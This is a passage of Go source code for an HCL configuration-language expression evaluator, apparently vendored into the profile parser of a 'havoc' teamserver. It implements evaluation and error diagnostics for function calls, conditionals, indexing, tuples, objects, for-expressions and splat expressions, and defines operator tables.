}) return cty.DynamicVal, diags } } if len(args) < len(params) { missing := params[len(args)] qual := "" if varParam != nil { qual = " at least" } return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Not enough function arguments", Detail: fmt.Sprintf( "Function %q expects%s %d argument(s). Missing value for %q.", e.Name, qual, len(params), missing.Name, ), Subject: &e.CloseParenRange, Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } if varParam == nil && len(args) > len(params) { return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Too many function arguments", Detail: fmt.Sprintf( "Function %q expects only %d argument(s).", e.Name, len(params), ), Subject: args[len(params)].StartRange().Ptr(), Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }, } } argVals := make([]cty.Value, len(args)) for i, argExpr := range args { var param *function.Parameter if i < len(params) { param = ¶ms[i] } else { param = varParam } var val cty.Value if decodeFn := customdecode.CustomExpressionDecoderForType(param.Type); decodeFn != nil { var argDiags hcl.Diagnostics val, argDiags = decodeFn(argExpr, ctx) diags = append(diags, argDiags...) if val == cty.NilVal { val = cty.UnknownVal(param.Type) } } else { var argDiags hcl.Diagnostics val, argDiags = argExpr.Value(ctx) if len(argDiags) > 0 { diags = append(diags, argDiags...) } // Try to convert our value to the parameter type var err error val, err = convert.Convert(val, param.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid function argument", Detail: fmt.Sprintf( "Invalid value for %q parameter: %s.", param.Name, err, ), Subject: argExpr.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: argExpr, EvalContext: ctx, }) } } argVals[i] = val } if diags.HasErrors() { // Don't try to execute the function if we already have errors with // the arguments, because the result will probably be a confusing // error message. return cty.DynamicVal, diags } resultVal, err := f.Call(argVals) if err != nil { switch terr := err.(type) { case function.ArgError: i := terr.Index var param *function.Parameter if i < len(params) { param = ¶ms[i] } else { param = varParam } if param == nil || i > len(args)-1 { // Getting here means that the function we called has a bug: // it returned an arg error that refers to an argument index // that wasn't present in the call. For that situation // we'll degrade to a less specific error just to give // some sort of answer, but best to still fix the buggy // function so that it only returns argument indices that // are in range. switch { case param != nil: // In this case we'll assume that the function was trying // to talk about a final variadic parameter but the caller // didn't actually provide any arguments for it. That means // we can at least still name the parameter in the // error message, but our source range will be the call // as a whole because we don't have an argument expression // to highlight specifically. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid function argument", Detail: fmt.Sprintf( "Invalid value for %q parameter: %s.", param.Name, err, ), Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) default: // This is the most degenerate case of all, where the // index is out of range even for the declared parameters, // and so we can't tell which parameter the function is // trying to report an error for. Just a generic error // report in that case. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Error in function call", Detail: fmt.Sprintf( "Call to function %q failed: %s.", e.Name, err, ), Subject: e.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) } } else { argExpr := args[i] // TODO: we should also unpick a PathError here and show the // path to the deep value where the error was detected. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid function argument", Detail: fmt.Sprintf( "Invalid value for %q parameter: %s.", param.Name, err, ), Subject: argExpr.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: argExpr, EvalContext: ctx, }) } default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Error in function call", Detail: fmt.Sprintf( "Call to function %q failed: %s.", e.Name, err, ), Subject: e.StartRange().Ptr(), Context: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) } return cty.DynamicVal, diags } return resultVal, diags } func (e *FunctionCallExpr) Range() hcl.Range { return hcl.RangeBetween(e.NameRange, e.CloseParenRange) } func (e *FunctionCallExpr) StartRange() hcl.Range { return hcl.RangeBetween(e.NameRange, e.OpenParenRange) } // Implementation for hcl.ExprCall. func (e *FunctionCallExpr) ExprCall() *hcl.StaticCall { ret := &hcl.StaticCall{ Name: e.Name, NameRange: e.NameRange, Arguments: make([]hcl.Expression, len(e.Args)), ArgsRange: hcl.RangeBetween(e.OpenParenRange, e.CloseParenRange), } // Need to convert our own Expression objects into hcl.Expression. for i, arg := range e.Args { ret.Arguments[i] = arg } return ret } type ConditionalExpr struct { Condition Expression TrueResult Expression FalseResult Expression SrcRange hcl.Range } func (e *ConditionalExpr) walkChildNodes(w internalWalkFunc) { w(e.Condition) w(e.TrueResult) w(e.FalseResult) } func (e *ConditionalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { trueResult, trueDiags := e.TrueResult.Value(ctx) falseResult, falseDiags := e.FalseResult.Value(ctx) var diags hcl.Diagnostics resultType := cty.DynamicPseudoType convs := make([]convert.Conversion, 2) switch { // If either case is a dynamic null value (which would result from a // literal null in the config), we know that it can convert to the expected // type of the opposite case, and we don't need to speculatively reduce the // final result type to DynamicPseudoType. // If we know that either Type is a DynamicPseudoType, we can be certain // that the other value can convert since it's a pass-through, and we don't // need to unify the types. If the final evaluation results in the dynamic // value being returned, there's no conversion we can do, so we return the // value directly. case trueResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)): resultType = falseResult.Type() convs[0] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType) case falseResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)): resultType = trueResult.Type() convs[1] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType) case trueResult.Type() == cty.DynamicPseudoType, falseResult.Type() == cty.DynamicPseudoType: // the final resultType type is still unknown // we don't need to get the conversion, because both are a noop. default: // Try to find a type that both results can be converted to. resultType, convs = convert.UnifyUnsafe([]cty.Type{trueResult.Type(), falseResult.Type()}) } if resultType == cty.NilType { return cty.DynamicVal, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Inconsistent conditional result types", Detail: fmt.Sprintf( // FIXME: Need a helper function for showing natural-language type diffs, // since this will generate some useless messages in some cases, like // "These expressions are object and object respectively" if the // object types don't exactly match. "The true and false result expressions must have consistent types. The given expressions are %s and %s, respectively.", trueResult.Type().FriendlyName(), falseResult.Type().FriendlyName(), ), Subject: hcl.RangeBetween(e.TrueResult.Range(), e.FalseResult.Range()).Ptr(), Context: &e.SrcRange, Expression: e, EvalContext: ctx, }, } } condResult, condDiags := e.Condition.Value(ctx) diags = append(diags, condDiags...) if condResult.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Null condition", Detail: "The condition value is null. Conditions must either be true or false.", Subject: e.Condition.Range().Ptr(), Context: &e.SrcRange, Expression: e.Condition, EvalContext: ctx, }) return cty.UnknownVal(resultType), diags } if !condResult.IsKnown() { return cty.UnknownVal(resultType), diags } condResult, err := convert.Convert(condResult, cty.Bool) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect condition type", Detail: fmt.Sprintf("The condition expression must be of type bool."), Subject: e.Condition.Range().Ptr(), Context: &e.SrcRange, Expression: e.Condition, EvalContext: ctx, }) return cty.UnknownVal(resultType), diags } // Unmark result before testing for truthiness condResult, _ = condResult.UnmarkDeep() if condResult.True() { diags = append(diags, trueDiags...) if convs[0] != nil { var err error trueResult, err = convs[0](trueResult) if err != nil { // Unsafe conversion failed with the concrete result value diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Inconsistent conditional result types", Detail: fmt.Sprintf( "The true result value has the wrong type: %s.", err.Error(), ), Subject: e.TrueResult.Range().Ptr(), Context: &e.SrcRange, Expression: e.TrueResult, EvalContext: ctx, }) trueResult = cty.UnknownVal(resultType) } } return trueResult, diags } else { diags = append(diags, falseDiags...) if convs[1] != nil { var err error falseResult, err = convs[1](falseResult) if err != nil { // Unsafe conversion failed with the concrete result value diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Inconsistent conditional result types", Detail: fmt.Sprintf( "The false result value has the wrong type: %s.", err.Error(), ), Subject: e.FalseResult.Range().Ptr(), Context: &e.SrcRange, Expression: e.FalseResult, EvalContext: ctx, }) falseResult = cty.UnknownVal(resultType) } } return falseResult, diags } } func (e *ConditionalExpr) Range() hcl.Range { return e.SrcRange } func (e *ConditionalExpr) StartRange() hcl.Range { return e.Condition.StartRange() } type IndexExpr struct { Collection Expression Key Expression SrcRange hcl.Range OpenRange hcl.Range BracketRange hcl.Range } func (e *IndexExpr) walkChildNodes(w internalWalkFunc) { w(e.Collection) w(e.Key) } func (e *IndexExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics coll, collDiags := e.Collection.Value(ctx) key, keyDiags := e.Key.Value(ctx) diags = append(diags, collDiags...) diags = append(diags, keyDiags...) val, indexDiags := hcl.Index(coll, key, &e.BracketRange) setDiagEvalContext(indexDiags, e, ctx) diags = append(diags, indexDiags...) return val, diags } func (e *IndexExpr) Range() hcl.Range { return e.SrcRange } func (e *IndexExpr) StartRange() hcl.Range { return e.OpenRange } type TupleConsExpr struct { Exprs []Expression SrcRange hcl.Range OpenRange hcl.Range } func (e *TupleConsExpr) walkChildNodes(w internalWalkFunc) { for _, expr := range e.Exprs { w(expr) } } func (e *TupleConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var vals []cty.Value var diags hcl.Diagnostics vals = make([]cty.Value, len(e.Exprs)) for i, expr := range e.Exprs { val, valDiags := expr.Value(ctx) vals[i] = val diags = append(diags, valDiags...) } return cty.TupleVal(vals), diags } func (e *TupleConsExpr) Range() hcl.Range { return e.SrcRange } func (e *TupleConsExpr) StartRange() hcl.Range { return e.OpenRange } // Implementation for hcl.ExprList func (e *TupleConsExpr) ExprList() []hcl.Expression { ret := make([]hcl.Expression, len(e.Exprs)) for i, expr := range e.Exprs { ret[i] = expr } return ret } type ObjectConsExpr struct { Items []ObjectConsItem SrcRange hcl.Range OpenRange hcl.Range } type ObjectConsItem struct { KeyExpr Expression ValueExpr Expression } func (e *ObjectConsExpr) walkChildNodes(w internalWalkFunc) { for _, item := range e.Items { w(item.KeyExpr) w(item.ValueExpr) } } func (e *ObjectConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var vals map[string]cty.Value var diags hcl.Diagnostics var marks []cty.ValueMarks // This will get set to true if we fail to produce any of our keys, // either because they are actually unknown or if the evaluation produces // errors. In all of these case we must return DynamicPseudoType because // we're unable to know the full set of keys our object has, and thus // we can't produce a complete value of the intended type. // // We still evaluate all of the item keys and values to make sure that we // get as complete as possible a set of diagnostics. known := true vals = make(map[string]cty.Value, len(e.Items)) for _, item := range e.Items { key, keyDiags := item.KeyExpr.Value(ctx) diags = append(diags, keyDiags...) val, valDiags := item.ValueExpr.Value(ctx) diags = append(diags, valDiags...) if keyDiags.HasErrors() { known = false continue } if key.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Null value as key", Detail: "Can't use a null value as a key.", Subject: item.ValueExpr.Range().Ptr(), Expression: item.KeyExpr, EvalContext: ctx, }) known = false continue } key, keyMarks := key.Unmark() marks = append(marks, keyMarks) var err error key, err = convert.Convert(key, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect key type", Detail: fmt.Sprintf("Can't use this value as a key: %s.", err.Error()), Subject: item.KeyExpr.Range().Ptr(), Expression: item.KeyExpr, EvalContext: ctx, }) known = false continue } if !key.IsKnown() { known = false continue } keyStr := key.AsString() vals[keyStr] = val } if !known { return cty.DynamicVal, diags } return cty.ObjectVal(vals).WithMarks(marks...), diags } func (e *ObjectConsExpr) Range() hcl.Range { return e.SrcRange } func (e *ObjectConsExpr) StartRange() hcl.Range { return e.OpenRange } // Implementation for hcl.ExprMap func (e *ObjectConsExpr) ExprMap() []hcl.KeyValuePair { ret := make([]hcl.KeyValuePair, len(e.Items)) for i, item := range e.Items { ret[i] = hcl.KeyValuePair{ Key: item.KeyExpr, Value: item.ValueExpr, } } return ret } // ObjectConsKeyExpr is a special wrapper used only for ObjectConsExpr keys, // which deals with the special case that a naked identifier in that position // must be interpreted as a literal string rather than evaluated directly. type ObjectConsKeyExpr struct { Wrapped Expression ForceNonLiteral bool } func (e *ObjectConsKeyExpr) literalName() string { // This is our logic for deciding whether to behave like a literal string. // We lean on our AbsTraversalForExpr implementation here, which already // deals with some awkward cases like the expression being the result // of the keywords "null", "true" and "false" which we'd want to interpret // as keys here too. return hcl.ExprAsKeyword(e.Wrapped) } func (e *ObjectConsKeyExpr) walkChildNodes(w internalWalkFunc) { // We only treat our wrapped expression as a real expression if we're // not going to interpret it as a literal. if e.literalName() == "" { w(e.Wrapped) } } func (e *ObjectConsKeyExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { // Because we accept a naked identifier as a literal key rather than a // reference, it's confusing to accept a traversal containing periods // here since we can't tell if the user intends to create a key with // periods or actually reference something. To avoid confusing downstream // errors we'll just prohibit a naked multi-step traversal here and // require the user to state their intent more clearly. // (This is handled at evaluation time rather than parse time because // an application using static analysis _can_ accept a naked multi-step // traversal here, if desired.) if !e.ForceNonLiteral { if travExpr, isTraversal := e.Wrapped.(*ScopeTraversalExpr); isTraversal && len(travExpr.Traversal) > 1 { var diags hcl.Diagnostics diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Ambiguous attribute key", Detail: "If this expression is intended to be a reference, wrap it in parentheses. If it's instead intended as a literal name containing periods, wrap it in quotes to create a string literal.", Subject: e.Range().Ptr(), }) return cty.DynamicVal, diags } if ln := e.literalName(); ln != "" { return cty.StringVal(ln), nil } } return e.Wrapped.Value(ctx) } func (e *ObjectConsKeyExpr) Range() hcl.Range { return e.Wrapped.Range() } func (e *ObjectConsKeyExpr) StartRange() hcl.Range { return e.Wrapped.StartRange() } // Implementation for hcl.AbsTraversalForExpr. func (e *ObjectConsKeyExpr) AsTraversal() hcl.Traversal { // If we're forcing a non-literal then we can never be interpreted // as a traversal. if e.ForceNonLiteral { return nil } // We can produce a traversal only if our wrappee can. st, diags := hcl.AbsTraversalForExpr(e.Wrapped) if diags.HasErrors() { return nil } return st } func (e *ObjectConsKeyExpr) UnwrapExpression() Expression { return e.Wrapped } // ForExpr represents iteration constructs: // // tuple = [for i, v in list: upper(v) if i > 2] // object = {for k, v in map: k => upper(v)} // object_of_tuples = {for v in list: v.key: v...} type ForExpr struct { KeyVar string // empty if ignoring the key ValVar string CollExpr Expression KeyExpr Expression // nil when producing a tuple ValExpr Expression CondExpr Expression // null if no "if" clause is present Group bool // set if the ellipsis is used on the value in an object for SrcRange hcl.Range OpenRange hcl.Range CloseRange hcl.Range } func (e *ForExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics var marks []cty.ValueMarks collVal, collDiags := e.CollExpr.Value(ctx) diags = append(diags, collDiags...) if collVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Iteration over null value", Detail: "A null value cannot be used as the collection in a 'for' expression.", Subject: e.CollExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CollExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if collVal.Type() == cty.DynamicPseudoType { return cty.DynamicVal, diags } // Unmark collection before checking for iterability, because marked // values cannot be iterated collVal, collMarks := collVal.Unmark() marks = append(marks, collMarks) if !collVal.CanIterateElements() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Iteration over non-iterable value", Detail: fmt.Sprintf( "A value of type %s cannot be used as the collection in a 'for' expression.", collVal.Type().FriendlyName(), ), Subject: e.CollExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CollExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if !collVal.IsKnown() { return cty.DynamicVal, diags } // Before we start we'll do an early check to see if any CondExpr we've // been given is of the wrong type. This isn't 100% reliable (it may // be DynamicVal until real values are given) but it should catch some // straightforward cases and prevent a barrage of repeated errors. if e.CondExpr != nil { childCtx := ctx.NewChild() childCtx.Variables = map[string]cty.Value{} if e.KeyVar != "" { childCtx.Variables[e.KeyVar] = cty.DynamicVal } childCtx.Variables[e.ValVar] = cty.DynamicVal result, condDiags := e.CondExpr.Value(childCtx) diags = append(diags, condDiags...) if result.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Condition is null", Detail: "The value of the 'if' clause must not be null.", Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } _, err := convert.Convert(result, cty.Bool) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: ctx, }) return cty.DynamicVal, diags } if condDiags.HasErrors() { return cty.DynamicVal, diags } } if e.KeyExpr != nil { // Producing an object var vals map[string]cty.Value var groupVals map[string][]cty.Value if e.Group { groupVals = map[string][]cty.Value{} } else { vals = map[string]cty.Value{} } it := collVal.ElementIterator() known := true for it.Next() { k, v := it.Element() childCtx := ctx.NewChild() childCtx.Variables = map[string]cty.Value{} if e.KeyVar != "" { childCtx.Variables[e.KeyVar] = k } childCtx.Variables[e.ValVar] = v if e.CondExpr != nil { includeRaw, condDiags := e.CondExpr.Value(childCtx) diags = append(diags, condDiags...) if includeRaw.IsNull() { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: "The value of the 'if' clause must not be null.", Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } include, err := convert.Convert(includeRaw, cty.Bool) if err != nil { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } if !include.IsKnown() { known = false continue } // Extract and merge marks from the include expression into the // main set of marks includeUnmarked, includeMarks := include.Unmark() marks = append(marks, includeMarks) if includeUnmarked.False() { // Skip this element continue } } keyRaw, keyDiags := e.KeyExpr.Value(childCtx) diags = append(diags, keyDiags...) if keyRaw.IsNull() { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key", Detail: "Key expression in 'for' expression must not produce a null value.", Subject: e.KeyExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.KeyExpr, EvalContext: childCtx, }) } known = false continue } if !keyRaw.IsKnown() { known = false continue } key, err := convert.Convert(keyRaw, cty.String) if err != nil { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key", Detail: fmt.Sprintf("The key expression produced an invalid result: %s.", err.Error()), Subject: e.KeyExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.KeyExpr, EvalContext: childCtx, }) } known = false continue } key, keyMarks := key.Unmark() marks = append(marks, keyMarks) val, valDiags := e.ValExpr.Value(childCtx) diags = append(diags, valDiags...) if e.Group { k := key.AsString() groupVals[k] = append(groupVals[k], val) } else { k := key.AsString() if _, exists := vals[k]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate object key", Detail: fmt.Sprintf( "Two different items produced the key %q in this 'for' expression. If duplicates are expected, use the ellipsis (...) after the value expression to enable grouping by key.", k, ), Subject: e.KeyExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.KeyExpr, EvalContext: childCtx, }) } else { vals[key.AsString()] = val } } } if !known { return cty.DynamicVal, diags } if e.Group { vals = map[string]cty.Value{} for k, gvs := range groupVals { vals[k] = cty.TupleVal(gvs) } } return cty.ObjectVal(vals).WithMarks(marks...), diags } else { // Producing a tuple vals := []cty.Value{} it := collVal.ElementIterator() known := true for it.Next() { k, v := it.Element() childCtx := ctx.NewChild() childCtx.Variables = map[string]cty.Value{} if e.KeyVar != "" { childCtx.Variables[e.KeyVar] = k } childCtx.Variables[e.ValVar] = v if e.CondExpr != nil { includeRaw, condDiags := e.CondExpr.Value(childCtx) diags = append(diags, condDiags...) if includeRaw.IsNull() { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: "The value of the 'if' clause must not be null.", Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } if !includeRaw.IsKnown() { // We will eventually return DynamicVal, but we'll continue // iterating in case there are other diagnostics to gather // for later elements. known = false continue } include, err := convert.Convert(includeRaw, cty.Bool) if err != nil { if known { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' condition", Detail: fmt.Sprintf("The 'if' clause value is invalid: %s.", err.Error()), Subject: e.CondExpr.Range().Ptr(), Context: &e.SrcRange, Expression: e.CondExpr, EvalContext: childCtx, }) } known = false continue } // Extract and merge marks from the include expression into the // main set of marks includeUnmarked, includeMarks := include.Unmark() marks = append(marks, includeMarks) if includeUnmarked.False() { // Skip this element continue } } val, valDiags := e.ValExpr.Value(childCtx) diags = append(diags, valDiags...) vals = append(vals, val) } if !known { return cty.DynamicVal, diags } return cty.TupleVal(vals).WithMarks(marks...), diags } } func (e *ForExpr) walkChildNodes(w internalWalkFunc) { w(e.CollExpr) scopeNames := map[string]struct{}{} if e.KeyVar != "" { scopeNames[e.KeyVar] = struct{}{} } if e.ValVar != "" { scopeNames[e.ValVar] = struct{}{} } if e.KeyExpr != nil { w(ChildScope{ LocalNames: scopeNames, Expr: e.KeyExpr, }) } w(ChildScope{ LocalNames: scopeNames, Expr: e.ValExpr, }) if e.CondExpr != nil { w(ChildScope{ LocalNames: scopeNames, Expr: e.CondExpr, }) } } func (e *ForExpr) Range() hcl.Range { return e.SrcRange } func (e *ForExpr) StartRange() hcl.Range { return e.OpenRange } type SplatExpr struct { Source Expression Each Expression Item *AnonSymbolExpr SrcRange hcl.Range MarkerRange hcl.Range } func (e *SplatExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { sourceVal, diags := e.Source.Value(ctx) if diags.HasErrors() { // We'll evaluate our "Each" expression here just to see if it // produces any more diagnostics we can report. Since we're not // assigning a value to our AnonSymbolExpr here it will return // DynamicVal, which should short-circuit any use of it. _, itemDiags := e.Item.Value(ctx) diags = append(diags, itemDiags...) return cty.DynamicVal, diags } sourceTy := sourceVal.Type() // A "special power" of splat expressions is that they can be applied // both to tuples/lists and to other values, and in the latter case // the value will be treated as an implicit single-item tuple, or as // an empty tuple if the value is null. autoUpgrade := !(sourceTy.IsTupleType() || sourceTy.IsListType() || sourceTy.IsSetType()) if sourceVal.IsNull() { if autoUpgrade { return cty.EmptyTupleVal, diags } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Splat of null value", Detail: "Splat expressions (with the * symbol) cannot be applied to null sequences.", Subject: e.Source.Range().Ptr(), Context: hcl.RangeBetween(e.Source.Range(), e.MarkerRange).Ptr(), Expression: e.Source, EvalContext: ctx, }) return cty.DynamicVal, diags } if sourceTy == cty.DynamicPseudoType { // If we don't even know the _type_ of our source value yet then // we'll need to defer all processing, since we can't decide our // result type either. return cty.DynamicVal, diags } if autoUpgrade { sourceVal = cty.TupleVal([]cty.Value{sourceVal}) sourceTy = sourceVal.Type() } // We'll compute our result type lazily if we need it. In the normal case // it's inferred automatically from the value we construct. resultTy := func() (cty.Type, hcl.Diagnostics) { chiCtx := ctx.NewChild() var diags hcl.Diagnostics switch { case sourceTy.IsListType() || sourceTy.IsSetType(): ety := sourceTy.ElementType() e.Item.setValue(chiCtx, cty.UnknownVal(ety)) val, itemDiags := e.Each.Value(chiCtx) diags = append(diags, itemDiags...) e.Item.clearValue(chiCtx) // clean up our temporary value return cty.List(val.Type()), diags case sourceTy.IsTupleType(): etys := sourceTy.TupleElementTypes() resultTys := make([]cty.Type, 0, len(etys)) for _, ety := range etys { e.Item.setValue(chiCtx, cty.UnknownVal(ety)) val, itemDiags := e.Each.Value(chiCtx) diags = append(diags, itemDiags...) e.Item.clearValue(chiCtx) // clean up our temporary value resultTys = append(resultTys, val.Type()) } return cty.Tuple(resultTys), diags default: // Should never happen because of our promotion to list above. return cty.DynamicPseudoType, diags } } if !sourceVal.IsKnown() { // We can't produce a known result in this case, but we'll still // indicate what the result type would be, allowing any downstream type // checking to proceed. ty, tyDiags := resultTy() diags = append(diags, tyDiags...) return cty.UnknownVal(ty), diags } // Unmark the collection, and save the marks to apply to the returned // collection result sourceVal, marks := sourceVal.Unmark() vals := make([]cty.Value, 0, sourceVal.LengthInt()) it := sourceVal.ElementIterator() if ctx == nil { // we need a context to use our AnonSymbolExpr, so we'll just // make an empty one here to use as a placeholder. ctx = ctx.NewChild() } isKnown := true for it.Next() { _, sourceItem := it.Element() e.Item.setValue(ctx, sourceItem) newItem, itemDiags := e.Each.Value(ctx) diags = append(diags, itemDiags...) if itemDiags.HasErrors() { isKnown = false } vals = append(vals, newItem) } e.Item.clearValue(ctx) // clean up our temporary value if !isKnown { // We'll ignore the resultTy diagnostics in this case since they // will just be the same errors we saw while iterating above. ty, _ := resultTy() return cty.UnknownVal(ty), diags } switch { case sourceTy.IsListType() || sourceTy.IsSetType(): if len(vals) == 0 { ty, tyDiags := resultTy() diags = append(diags, tyDiags...) return cty.ListValEmpty(ty.ElementType()), diags } return cty.ListVal(vals).WithMarks(marks), diags default: return cty.TupleVal(vals).WithMarks(marks), diags } } func (e *SplatExpr) walkChildNodes(w internalWalkFunc) { w(e.Source) w(e.Each) } func (e *SplatExpr) Range() hcl.Range { return e.SrcRange } func (e *SplatExpr) StartRange() hcl.Range { return e.MarkerRange } // AnonSymbolExpr is used as a placeholder for a value in an expression that // can be applied dynamically to any value at runtime. // // This is a rather odd, synthetic expression. It is used as part of the // representation of splat expressions as a placeholder for the current item // being visited in the splat evaluation. // // AnonSymbolExpr cannot be evaluated in isolation. If its Value is called // directly then cty.DynamicVal will be returned. Instead, it is evaluated // in terms of another node (i.e. a splat expression) which temporarily // assigns it a value. type AnonSymbolExpr struct { SrcRange hcl.Range // values and its associated lock are used to isolate concurrent // evaluations of a symbol from one another. It is the calling application's // responsibility to ensure that the same splat expression is not evalauted // concurrently within the _same_ EvalContext, but it is fine and safe to // do cuncurrent evaluations with distinct EvalContexts. values map[*hcl.EvalContext]cty.Value valuesLock sync.RWMutex } func (e *AnonSymbolExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { if ctx == nil { return cty.DynamicVal, nil } e.valuesLock.RLock() defer e.valuesLock.RUnlock() val, exists := e.values[ctx] if !exists { return cty.DynamicVal, nil } return val, nil } // setValue sets a temporary local value for the expression when evaluated // in the given context, which must be non-nil. func (e *AnonSymbolExpr) setValue(ctx *hcl.EvalContext, val cty.Value) { e.valuesLock.Lock() defer e.valuesLock.Unlock() if e.values == nil { e.values = make(map[*hcl.EvalContext]cty.Value) } if ctx == nil { panic("can't setValue for a nil EvalContext") } e.values[ctx] = val } func (e *AnonSymbolExpr) clearValue(ctx *hcl.EvalContext) { e.valuesLock.Lock() defer e.valuesLock.Unlock() if e.values == nil { return } if ctx == nil { panic("can't clearValue for a nil EvalContext") } delete(e.values, ctx) } func (e *AnonSymbolExpr) walkChildNodes(w internalWalkFunc) { // AnonSymbolExpr is a leaf node in the tree } func (e *AnonSymbolExpr) Range() hcl.Range { return e.SrcRange } func (e *AnonSymbolExpr) StartRange() hcl.Range { return e.SrcRange } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/expression_ops.go000066400000000000000000000160141467014221700304430ustar00rootroot00000000000000package hclsyntax import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" "github.com/zclconf/go-cty/cty/function/stdlib" ) type Operation struct { Impl function.Function Type cty.Type } var ( OpLogicalOr = &Operation{ Impl: stdlib.OrFunc, Type: cty.Bool, } OpLogicalAnd = &Operation{ Impl: stdlib.AndFunc, Type: cty.Bool, } OpLogicalNot = &Operation{ Impl: stdlib.NotFunc, Type: cty.Bool, } OpEqual = &Operation{ Impl: stdlib.EqualFunc, Type: cty.Bool, } OpNotEqual = &Operation{ Impl: stdlib.NotEqualFunc, Type: cty.Bool, } OpGreaterThan = &Operation{ Impl: stdlib.GreaterThanFunc, Type: cty.Bool, } OpGreaterThanOrEqual = &Operation{ Impl: stdlib.GreaterThanOrEqualToFunc, Type: cty.Bool, } OpLessThan = &Operation{ Impl: stdlib.LessThanFunc, Type: cty.Bool, } OpLessThanOrEqual = &Operation{ Impl: stdlib.LessThanOrEqualToFunc, Type: cty.Bool, } OpAdd = &Operation{ Impl: stdlib.AddFunc, Type: cty.Number, } OpSubtract = &Operation{ Impl: stdlib.SubtractFunc, Type: cty.Number, } OpMultiply = &Operation{ Impl: stdlib.MultiplyFunc, Type: cty.Number, } OpDivide = &Operation{ Impl: stdlib.DivideFunc, Type: cty.Number, } OpModulo = &Operation{ Impl: stdlib.ModuloFunc, Type: cty.Number, } OpNegate = &Operation{ Impl: stdlib.NegateFunc, Type: cty.Number, } ) var binaryOps []map[TokenType]*Operation func init() { // This operation table maps from the operator's token type // to the AST operation type. All expressions produced from // binary operators are BinaryOp nodes. // // Binary operator groups are listed in order of precedence, with // the *lowest* precedence first. Operators within the 